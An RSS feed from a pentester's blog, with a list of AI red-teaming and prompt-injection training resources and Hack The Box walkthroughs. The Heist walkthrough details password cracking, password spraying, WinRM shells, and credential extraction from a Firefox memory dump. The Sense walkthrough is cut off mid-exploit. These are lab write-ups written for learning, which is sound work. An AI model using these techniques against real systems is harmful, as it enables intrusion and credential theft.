<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Ragab0t's Blog]]></title><description><![CDATA[Pentester, Geek, Cyber Security enthusiast, and now (v|b)logger]]></description><link>https://blog.ragab0t.com</link><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Apr 2026 08:20:16 GMT</lastBuildDate><atom:link href="https://blog.ragab0t.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Your Go-To List for AI Red Teaming and ML Security Resources]]></title><description><![CDATA[AI security is moving fast, and staying ahead of the curve means sharpening both your theoretical knowledge and your hands-on skills. Whether you’re getting started with AI red teaming or looking to push your skills into adversarial ML research, this...]]></description><link>https://blog.ragab0t.com/your-go-to-list-for-ai-red-teaming-and-ml-security-resources</link><guid isPermaLink="true">https://blog.ragab0t.com/your-go-to-list-for-ai-red-teaming-and-ml-security-resources</guid><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Tue, 26 Aug 2025 05:44:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756188705735/1f9b23b7-63f4-4255-bf39-4ee68585add8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>AI security is moving fast, and staying ahead of the curve means sharpening both your theoretical knowledge and your hands-on skills. Whether you’re getting started with AI red teaming or looking to push your skills into adversarial ML research, this post has you covered.</p>
<p>I’ve organized the resources into three categories: <strong>Training Courses</strong>, <strong>CTF-Style Platforms</strong>, and <strong>General ML/AI Materials</strong>.</p>
<p>Let’s dive in.</p>
<hr />
<h2 id="heading-ai-red-teaming-training">🔥 AI Red Teaming Training</h2>
<p>These are the places to start if you want a structured approach. Some are video-based, others are full-blown hands-on labs, all focused on understanding and exploiting AI and LLM systems.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Title</td><td>Description</td><td>Source</td><td>Cost</td></tr>
</thead>
<tbody>
<tr>
<td><a target="_blank" href="https://www.udemy.com/course/the-ultimate-ai-llm-penetration-testing-training-course/">The Ultimate AILLM Penetration Testing Training Course</a></td><td>A mix of theory and labs focused on finding and exploiting vulnerabilities in AI and LLM applications.</td><td>Udemy</td><td>Paid (Available with Udemy-Enterprise account)</td></tr>
<tr>
<td><a target="_blank" href="https://www.udemy.com/course/a-deep-dive-into-llm-red-teaming/">A Deep Dive into LLM Red Teaming</a></td><td>Teaches how to attack and defend LLMs using real-world offensive techniques.</td><td>Udemy</td><td>Paid (Available with Udemy-Enterprise account)</td></tr>
<tr>
<td><a target="_blank" href="https://www.youtube.com/watch?v=DwFVhFdD2fs&amp;t=82s">AI Red Teaming 101</a></td><td>Beginner-friendly YouTube series introducing AI red teaming fundamentals and risk assessment.</td><td>YouTube</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://learn.microsoft.com/en-us/security/ai-red-team/">AI Red Teaming (Microsoft)</a></td><td>Microsoft’s official guide to AI red teaming and security testing methodologies.</td><td>Microsoft</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://academy.hackthebox.com/path/preview/ai-red-teamer">HTB Academy – AI Red Teamer Path</a></td><td>Guided learning path for practical AI red teaming techniques on HTB Academy.</td><td>Hack the Box</td><td>Paid</td></tr>
</tbody>
</table>
</div><p>If you’re just getting started, <strong>AI Red Teaming 101</strong> and Microsoft’s guide are great free options. If you already live and breathe pentesting, the HTB and Udemy tracks are well-structured affordable resources.</p>
<hr />
<h2 id="heading-ai-red-teaming-ctfs-amp-hands-on-platforms">🕹️ AI Red Teaming CTFs &amp; Hands-On Platforms</h2>
<p>This is where the real fun begins, breaking chatbots, evading filters, and leaking sensitive data in a controlled environment.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Title</td><td>Description</td><td>Cost</td></tr>
</thead>
<tbody>
<tr>
<td><a target="_blank" href="https://gandalf.lakera.ai/baseline">Gandalf (Lakera)</a></td><td>Interactive LLM security game focused on prompt injection challenges.</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://promptairlines.com/">Prompt Airlines</a></td><td>Fun, gamified prompt injection challenges to test your creativity against LLMs.</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://portswigger.net/web-security/llm-attacks">PortSwigger LLM Attacks</a></td><td>Part of PortSwigger’s Web Security Academy — focuses on attacking LLMs in web apps.</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://app.hackthebox.com/tracks/AI-and-ML-Exploitation">AI and ML Exploitation Track (HTB)</a></td><td>Hack The Box track on exploiting AI and ML systems in real-world scenarios.</td><td>Paid/Free</td></tr>
<tr>
<td><a target="_blank" href="https://crucible.dreadnode.io/">Crucible Dreadnode</a></td><td>A CTF platform dedicated to machine learning challenges, with tutorials for attacks.</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://github.com/R3dShad0w7/PromptMe/">PromptMe</a></td><td>Community-maintained collection of prompt injections and jailbreaks for testing.</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://github.com/microsoft/AI-Red-Teaming-Playground-Labs">Microsoft AI Red Teaming Playground Labs</a></td><td>Hands-on labs to practice the techniques from Microsoft’s AI Red Teaming guide.</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://gpa.43z.one/">GPT Prompt Attack (GPA)</a></td><td>Lightweight web game for learning prompt injection attacks.</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://pwnedlabs.io/labs/breach-the-perimeter-via-prompt-injection"><strong>Breach the Perimeter via Prompt Injection</strong></a></td><td>In this fun lab, students will learn how prompt‐injection attacks can extract secrets from AI assistants and the dangers of leaking SAS tokens and service-principal credentials.</td><td>Paid</td></tr>
</tbody>
</table>
</div><p>If you only pick one, start with <strong>Gandalf</strong>, it’s addictive and great for sharpening your creativity with prompts. For something closer to real-world attack chains, HTB’s AI track and Crucible Dreadnode are solid bets.</p>
<hr />
<h2 id="heading-mlai-general-resources">📚 ML/AI General Resources</h2>
<p>If you’re serious about AI security, you need to understand how models work under the hood. These resources are not security-specific, but they build the foundation you’ll need for adversarial ML research.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Title</td><td>Description</td><td>Source</td><td>Cost</td></tr>
</thead>
<tbody>
<tr>
<td><a target="_blank" href="https://www.coursera.org/specializations/machine-learning-introduction">Andrew Ng's Machine Learning Specialization</a></td><td>A great starting point for machine learning fundamentals.</td><td>Coursera</td><td>Free (without Certficate of completion)</td></tr>
<tr>
<td><a target="_blank" href="https://www.youtube.com/watch?v=GWB9ApTPTv4"><strong>Ollama Course – Build AI Apps Locally</strong></a></td><td>Learn how to set up and use Ollama to build powerful AI applications locally. This hands-on course covers pulling and customizing models, REST APIs, Python integrations.</td><td>Freecodecamp.org - Youtube Channel</td><td>Free</td></tr>
<tr>
<td><a target="_blank" href="https://www.freecodecamp.org/news/how-to-build-an-ai-chatbot-with-redis-python-and-gpt/"><strong>The AI Chatbot Handbook – How to Build an AI Chatbot with Redis, Python, and GPT</strong></a></td><td>This tutorial will take you through the process of building an AI chatbot</td><td>Freecodecamp.org Blog</td><td>Free</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-wrapping-up">✅ Wrapping Up</h2>
<p>AI security is still a new frontier, which makes it fun and unpredictable. Whether you’re starting with free guides or jumping straight into CTFs, there’s no shortage of ways to level up.</p>
<p>If you’re in it for the long run, don’t just learn how to break models, learn how they work. The better you understand them, the better you’ll be at finding those edge cases where they fail.</p>
<p>Happy hacking!</p>
<p>~ Ragab0t</p>
]]></content:encoded></item><item><title><![CDATA[Hack the Box - Heist Walk-through]]></title><description><![CDATA[This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethica...]]></description><link>https://blog.ragab0t.com/hack-the-box-heist-walk-through</link><guid isPermaLink="true">https://blog.ragab0t.com/hack-the-box-heist-walk-through</guid><category><![CDATA[hacking]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[hack-the-box]]></category><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Wed, 27 Nov 2024 02:40:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732673963437/b71f76d7-2a8d-41c0-8caf-aedf29c48b77.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.</p>
<p>You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.</p>
<h1 id="heading-hola-gente">Hola Gente!</h1>
<p>Today we are going to go over the steps I followed to get root on Heist, a machine on <a target="_blank" href="http://hacktheboxltd.sjv.io/21oZxQ">Hack the Box</a>. Hack The Box is an online platform allowing you to test and advance your skills in cyber security.</p>
<h3 id="heading-scanning-and-enumeration">Scanning and Enumeration</h3>
<p>I kicked off my analysis by conducting a comprehensive scan of the target system using nmap default scripts:</p>
<pre><code class="lang-bash">TGT=10.129.96.157
nmap -sSVC -n -oA nmap <span class="hljs-variable">$TGT</span>
</code></pre>
<p><strong>Key findings</strong>:</p>
<ul>
<li><p>Port 80: HTTP running Microsoft IIS 10.0.</p>
</li>
<li><p>Port 135: MSRPC.</p>
</li>
<li><p>Port 445: Microsoft SMB service.</p>
</li>
</ul>
<p>Visiting the web server on port 80 revealed a "Support Login Page" with an option to log in as a guest:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732671008349/8cea4529-aba2-45c2-848f-915ce3586a2e.png" alt class="image--center mx-auto" /></p>
<p>Logging in provided access to download a Cisco configuration file containing encrypted passwords.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732671045575/d2d3778e-3df5-48a3-b08c-d4ee6ba33fcf.png" alt class="image--center mx-auto" /></p>
<p>Extract of the config File:</p>
<pre><code class="lang-bash">security passwords min-length 12
<span class="hljs-built_in">enable</span> secret 5 <span class="hljs-variable">$1</span><span class="hljs-variable">$pdQG</span><span class="hljs-variable">$o8nrSzsGXeaduXrjlvKc91</span>
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
</code></pre>
<h4 id="heading-decrypting-passwords">Decrypting Passwords</h4>
<p>The configuration file included encrypted credentials:</p>
<ul>
<li><p>User <code>rout3r</code>: Cisco Type 7 password.</p>
</li>
<li><p><code>enable secret</code>: Cisco Type 5 hash.</p>
</li>
</ul>
<p>Using an online <a target="_blank" href="https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html">Cisco Type 7 decryption</a> tool and <code>hashcat</code> with the rockyou wordlist, I cracked the credentials:</p>
<pre><code class="lang-bash">hashcat -a 0 -m 500 <span class="hljs-string">'$1$pdQG$o8nrSzsGXeaduXrjlvKc91'</span> rockyou.txt -O
</code></pre>
<ul>
<li><p><code>rout3r</code>: <code>$uperP@ssword</code></p>
</li>
<li><p>Admin password: <code>Q4)sJu\Y8qz*A3?d</code></p>
</li>
<li><p>Enable secret: <code>stealth1agent</code></p>
</li>
</ul>
<h4 id="heading-smb-enumeration">SMB Enumeration</h4>
<p>Armed with the credentials, I tested SMB access using <code>netexec</code>:</p>
<pre><code class="lang-bash">netexec smb <span class="hljs-variable">$TGT</span> -u hazard -p stealth1agent 
SMB         10.129.96.157   445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.129.96.157   445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent
</code></pre>
<p>And then tried to do a little more enumeration with <code>netexc</code> and <code>smbmap</code></p>
<pre><code class="lang-bash">netexec smb <span class="hljs-variable">$TGT</span> -u hazard -p stealth1agent --shares 
SMB         10.129.96.157   445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.129.96.157   445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         10.129.96.157   445    SUPPORTDESK      [*] Enumerated shares
SMB         10.129.96.157   445    SUPPORTDESK      Share           Permissions     Remark
SMB         10.129.96.157   445    SUPPORTDESK      -----           -----------     ------
SMB         10.129.96.157   445    SUPPORTDESK      ADMIN$                          Remote Admin
SMB         10.129.96.157   445    SUPPORTDESK      C$                              Default share
SMB         10.129.96.157   445    SUPPORTDESK      IPC$            READ            Remote IPC
</code></pre>
<pre><code class="lang-bash">smbmap -u hazard -p stealth1agent -d SupportDesk -H <span class="hljs-variable">$TGT</span>


[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                

[+] IP: 10.129.96.157:445    Name: 10.129.96.157           Status: Authenticated
    Disk                                                      Permissions    Comment
    ----                                                      -----------    -------
    ADMIN$                                                NO ACCESS    Remote Admin
    C$                                                    NO ACCESS    Default share
    IPC$                                                  READ ONLY    Remote IPC
</code></pre>
<p>I enumerated shares, noting accessible resources and potential avenues for lateral movement. A brute-force RID enumeration revealed several user accounts, including:</p>
<ul>
<li><p><code>Administrator</code></p>
</li>
<li><p><code>Guest</code></p>
</li>
<li><p><code>Hazard</code></p>
</li>
<li><p><code>Chase</code></p>
</li>
</ul>
<pre><code class="lang-bash">netexec smb <span class="hljs-variable">$TGT</span> -u hazard -p stealth1agent --rid-brute      
SMB         10.129.96.157   445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.129.96.157   445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         10.129.96.157   445    SUPPORTDESK      500: SUPPORTDESK\Administrator (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      501: SUPPORTDESK\Guest (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      513: SUPPORTDESK\None (SidTypeGroup)
SMB         10.129.96.157   445    SUPPORTDESK      1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      1009: SUPPORTDESK\support (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      1012: SUPPORTDESK\Chase (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      1013: SUPPORTDESK\Jason (SidTypeUser)
</code></pre>
<p>I created a <code>users.txt</code> and <code>passwords.txt</code> file and ran a password spray using <code>netexec</code>:</p>
<pre><code class="lang-bash">netexec smb <span class="hljs-variable">$TGT</span> -u users.txt -p passwords.txt --continue-on-success
</code></pre>
<p>And Success! I found valid credentials for user <code>Chase</code>:</p>
<ul>
<li><p>Username: <code>Chase</code></p>
</li>
<li><p>Password: <code>Q4)sJu\Y8qz*A3?d</code></p>
</li>
</ul>
<p>With valid credentials, I confirmed remote access using <code>netexec winrm</code>:</p>
<pre><code class="lang-bash">netexec winrm <span class="hljs-variable">$TGT</span> -u Chase -p <span class="hljs-string">"Q4)sJu\Y8qz*A3?d"</span> -X <span class="hljs-string">"ipconfig"</span>
</code></pre>
<p>This granted me WinRM access, allowing me to execute commands on the target.</p>
<h4 id="heading-exploitation">Exploitation</h4>
<p>Using <code>evil-winrm</code>, I gained an interactive shell and extracted the user flag from the desktop:</p>
<pre><code class="lang-bash">evil-winrm -i <span class="hljs-variable">$TGT</span> -u <span class="hljs-string">'Chase'</span> -p <span class="hljs-string">'Q4)sJu\Y8qz*A3?d'</span>
</code></pre>
<p>Navigating through the user Desktop, I found and captured the flag. 🎉</p>
<h2 id="heading-privilege-escalation">Privilege Escalation</h2>
<p>After capturing the user.txt flag and exploring the Desktop, I noticed that there was a todo.txt file:</p>
<pre><code class="lang-bash">PS C:\Users\Chase\Desktop&gt;<span class="hljs-built_in">type</span> todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access <span class="hljs-keyword">for</span> guest user.
</code></pre>
<p>After a quick run with <a target="_blank" href="https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md">winPEAS</a> I noticed that there was a Firefox Creds DB file accessible.</p>
<p>I tried downloading which took me a while because I kept on trying and kept on getting a 0 bytes file. It turned out that I had to kill the Firefox process before attempting to download. I was finally able to download it.</p>
<p>I started trying to crack it, but I had a hard time finding some missing files that were required to crack the credentials.</p>
<p>It eventually turned out to be a 4 hour rabbit hole as this wasn't the way to escalate privileges.</p>
<p><img src="https://content.imageresizer.com/images/memes/The-office-crying-meme-5.jpg" alt="The office crying Meme Generator" class="image--center mx-auto" /></p>
<p>Well, back to square one. From Chase's To-Do list he was supposed to check the current issues. Looking at the current processes the only thing that stood out is Firefox. There's a good chance he is the one that’s using it.</p>
<p><strong>Disclaimer</strong>: At this point I had to look for a hint. Forensics isn’t my strongest suit, so I didn’t think about exploring the processes’ memory.</p>
<p>Once I realized this was a potential avenue and learned about ProcDump.exe I uploaded and used it to dump Firefox’s Memory:</p>
<pre><code class="lang-powershell">*Evil<span class="hljs-literal">-WinRM</span>* <span class="hljs-built_in">PS</span> C:\Users\Chase\Documents&gt; <span class="hljs-built_in">get-process</span> <span class="hljs-literal">-name</span> firefox

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  <span class="hljs-built_in">SI</span> ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   <span class="hljs-number">1063</span>      <span class="hljs-number">63</span>   <span class="hljs-number">112688</span>     <span class="hljs-number">201964</span>       <span class="hljs-number">2.52</span>   <span class="hljs-number">6440</span>   <span class="hljs-number">1</span> firefox

*Evil<span class="hljs-literal">-WinRM</span>* <span class="hljs-built_in">PS</span> C:\Users\Chase\Documents&gt; <span class="hljs-variable">$command</span> = <span class="hljs-string">"C:\Users\Chase\Documents\procdump.exe -accepteula"</span>
*Evil<span class="hljs-literal">-WinRM</span>* <span class="hljs-built_in">PS</span> C:\Users\Chase\Documents&gt; <span class="hljs-built_in">Invoke-Expression</span> <span class="hljs-variable">$command</span>

*Evil<span class="hljs-literal">-WinRM</span>* <span class="hljs-built_in">PS</span> C:\Users\Chase\Documents&gt; <span class="hljs-variable">$command</span> = <span class="hljs-string">"C:\Users\Chase\Documents\procdump.exe -ma 6440 firefox.dmp"</span>
*Evil<span class="hljs-literal">-WinRM</span>* <span class="hljs-built_in">PS</span> C:\Users\Chase\Documents&gt; <span class="hljs-built_in">Invoke-Expression</span> <span class="hljs-variable">$command</span>
</code></pre>
<p>I downloaded the firefox.dmp to my attacker machine (after several tries since they all kept timing out) for further investigation. The dump was was almost 50 MB. At this point I didn’t know what I was looking for.</p>
<p>Going back to the /login.php page, I checked with Burp Proxy request/response HTTP messages for a login attempt:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732673367616/23de5994-e22a-499a-996a-dfa3328b717b.png" alt class="image--center mx-auto" /></p>
<p>And noticed that the request parameter “login_password” was being passed as a POST parameter.</p>
<p>I then used strings and grep to look for this particular string:</p>
<pre><code class="lang-bash">strings -el firefox.dmp | grep login_password


<span class="hljs-string">"C:\Program Files\Mozilla Firefox\firefox.exe"</span> localhost/login.php?login_username=admin@support.htb&amp;login_password=4dD!5}x/re8]FBuZ&amp;login=
localhost/login.php?login_username=admin@support.htb&amp;login_password=4dD!5}x/re8]FBuZ&amp;login=
</code></pre>
<p>These credentials—<code>admin@support.htb</code> and <code>4dD!5}x/re8]FBuZ</code>—looked promising!</p>
<p>Armed with the newly discovered credentials, I tested them for WinRM access as the Administrator:</p>
<pre><code class="lang-bash">netexec winrm <span class="hljs-variable">$TGT</span> -u Administrator -p <span class="hljs-string">'4dD!5}x/re8]FBuZ'</span>
WINRM       10.129.96.157   5985   SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
WINRM       10.129.96.157   5985   SUPPORTDESK      [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)
</code></pre>
<p>And it worked!</p>
<p>And then got a Shell and a Root Flag with Evil-WinRM</p>
<pre><code class="lang-bash">evil-winrm -i <span class="hljs-variable">$TGT</span> -u Administrator -p <span class="hljs-string">'4dD!5}x/re8]FBuZ'</span>

Evil-WinRM PS C:\Users\Administrator\Documents&gt; <span class="hljs-built_in">type</span> C:\Users\Administrator\Desktop\root.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732674219876/6d73d712-2210-4cc3-8e4f-2873ba3f19b6.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-lessons-learned">Lessons Learned</h3>
<ul>
<li><p>Read and analyze all clues carefully (e.g., <code>todo.txt</code>).</p>
</li>
<li><p>Use <code>get-process</code> to identify active processes for exploitation.</p>
</li>
<li><p>Memory dumps often reveal sensitive data (e.g., credentials).</p>
</li>
<li><p>Avoid rabbit holes (DAH!); reassess your strategy if you get stuck</p>
</li>
<li><p><code>Evil-WinRM</code> and <code>Netexec</code> are your friends</p>
</li>
</ul>
<h2 id="heading-call-to-action">Call to Action!</h2>
<p>Thanks for making it this far, If you're enjoying these and haven't joined Hack The Box yet, I invite you to sign up using my <a target="_blank" href="http://hacktheboxltd.sjv.io/21oZxQ">referral link.</a> Trust me—you'll get hooked! 😊 Until next time!</p>
]]></content:encoded></item><item><title><![CDATA[Hack the Box - Delivery Walk-through]]></title><description><![CDATA[Impact-Site-Verification: 4492c1e7-b83e-4100-a986-421f0ae9bd9d
Disclaimer
This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informa...]]></description><link>https://blog.ragab0t.com/hack-the-box-delivery-walk-through</link><guid isPermaLink="true">https://blog.ragab0t.com/hack-the-box-delivery-walk-through</guid><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Mon, 16 Sep 2024 02:20:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1621741888588/lJx6Eve1x.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Impact-Site-Verification: 4492c1e7-b83e-4100-a986-421f0ae9bd9d</p>
<h1 id="heading-disclaimer">Disclaimer</h1>
<p>This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.</p>
<p>You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.</p>
<h1 id="heading-hello-everyone">Hello Everyone!</h1>
<p>Today we are going to look the steps I followed to get root on Delivery, a vulnerable machine on <a target="_blank" href="https://www.hackthebox.eu">Hack the Box</a>. Hack The Box is an online platform allowing you to test and advance your skills in cyber security. Now for this machine I took a different route and decided to to a video Walk-through instead and once this blog post to document the commands that I used.</p>
<p>Before we start, some terminology:</p>
<p><strong>Attacker Machine</strong>: typically your Kali, Parrot, etc machine that you use to connect to the HTB Lab. In this example I'm using an IP address of <strong>10.10.14.12.</strong> Notice that in the case of Hack the box this IP will change since it is assigned by the VPN server which assigns an IP on the 10.10.x.x network.</p>
<p><strong>Target Machine</strong>: the machine we are attacking (notice that this is a lab environment we do have express permission to attack this machine). The IP address for the target machine is <strong>10.10.10.222</strong></p>
<p>You can find the detailed Walk-through here:</p>
]]></content:encoded></item><item><title><![CDATA[Hack the Box - Sense Walkthrough]]></title><description><![CDATA[This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethica...]]></description><link>https://blog.ragab0t.com/hack-the-box-sense-walkthrough</link><guid isPermaLink="true">https://blog.ragab0t.com/hack-the-box-sense-walkthrough</guid><category><![CDATA[hacking]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[hack-the-box]]></category><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Mon, 27 Nov 2023 05:38:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1701062866008/a1f4a6fd-b20e-452b-b89c-e30cd822d499.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.</p>
<p>You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.</p>
<h1 id="heading-hello-everyone">Hello Everyone!</h1>
<p>Today we are going to look the steps I followed to get root on Sense, a vulnerable machine on <a target="_blank" href="https://www.hackthebox.eu">Hack the Box</a>. Hack The Box is an online platform allowing you to test and advance your skills in cyber security.</p>
<h3 id="heading-scanning-and-enumeration">Scanning and Enumeration</h3>
<p>I kicked off my analysis by conducting a comprehensive scan of the target system using nmap default scripts:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Basic Nmap Scan</span>
TGT=10.129.56.224
sudo nmap -sSVC <span class="hljs-variable">$TGT</span>

Host is up (0.087s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.129.59.115/
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35
</code></pre>
<p>The nmap results plus a manual inspection showed the presence of Pfsense on ports 80 and 443, as well as Lighttpd version 1.4.35 on the same ports.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701063022585/95c44c81-82f7-41ab-9e63-42c68f67a16d.png" alt class="image--center mx-auto" /></p>
<p>I checked for the pfsense default username/password combination plus some other default combinations but none of them worked.</p>
<p>To explore potential vulnerabilities, I used <code>searchsploit</code> for both Pfsense and Lighttpd:</p>
<pre><code class="lang-bash">searchsploit pfsense | grep -v Cros
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
pfSense - (Authenticated) Group Member Remote Command Execut | unix/remote/43193.rb
pfSense 2.1 build 20130911-1816 - Directory Traversal        | php/webapps/31263.txt
pfSense 2.2 - Multiple Vulnerabilities                       | php/webapps/36506.txt
pfSense 2.2.5 - Directory Traversal                          | php/webapps/39038.txt
pfSense 2.3.1_1 - Command Execution                          | php/webapps/43128.txt
Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection             | php/webapps/47413.py
pfSense &lt; 2.1.4 - <span class="hljs-string">'status_rrd_graph_img.php'</span> Command Injecti | php/webapps/43560.py
pfSense Community Edition 2.2.6 - Multiple Vulnerabilities   | php/webapps/39709.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

searchsploit lighttpd
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
lighttpd - Denial of Service (PoC)                           | linux/dos/18295.txt
Lighttpd 1.4.15 - Multiple Code Execution / Denial of Servic | windows/remote/30322.rb
Lighttpd 1.4.16 - FastCGI Header Overflow Remote Command Exe | multiple/remote/4391.c
Lighttpd 1.4.17 - FastCGI Header Overflow Arbitrary Code Exe | linux/remote/4437.c
lighttpd 1.4.31 - Denial of Service (PoC)                    | linux/dos/22902.sh
Lighttpd 1.4.x - mod_userdir Information Disclosure          | linux/remote/31396.txt
lighttpd 1.4/1.5 - Slow Request Handling Remote Denial of Se | linux/dos/33591.sh
Lighttpd &lt; 1.4.23 (BSD/Solaris) - Source Code Disclosure     | multiple/remote/8786.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
</code></pre>
<h3 id="heading-web-server-enumeration"><strong>Web Server Enumeration</strong></h3>
<p>Next, I initiated an ffuf scan to uncover hidden directories on the target web server:</p>
<pre><code class="lang-bash">wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -w <span class="hljs-variable">$wordlist</span> -u https://<span class="hljs-variable">$TGT</span>/FUZZ -e <span class="hljs-string">"/,.php,.txt"</span> --replay-proxy http://127.0.0.1:8080
</code></pre>
<p>The ffuf scan revealed a file named <code>/system-users.txt</code> through directory browsing. After inspecting its contents, I discovered the following information:</p>
<pre><code class="lang-plaintext">####Support ticket###
Please create the following user

username: Rohit
password: company defaults
</code></pre>
<h3 id="heading-exploiting-pfsense-vulnerability"><strong>Exploiting Pfsense Vulnerability</strong></h3>
<p>Having this information, and knowing that Pfsense's default password is "pfsense" I connected to the Pfsense system using the credentials:</p>
<pre><code class="lang-plaintext"># Connecting with Pfsense
user: rohit
password: pfsense
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701062312065/1fefdd5d-f7d5-43ff-82ed-6cbf9a546938.png" alt class="image--center mx-auto" /></p>
<p>Upon successful connection, I identified the Pfsense version as:</p>
<pre><code class="lang-bash">2.1.3-RELEASE (amd64)
built on Thu May 01 15:52:13 EDT 2014
FreeBSD 8.3-RELEASE-p16
</code></pre>
<p>Now that I had a set of valid credentials I went back to the searchsploit results I revisited the "pfSense &lt; 2.1.4 - 'status_rrd_graph_img.php' Command Injection" vulnerability and its corresponding exploit: <a target="_blank" href="https://www.exploit-db.com/exploits/43560">https://www.exploit-db.com/exploits/43560</a></p>
<pre><code class="lang-bash">head 43560.py 

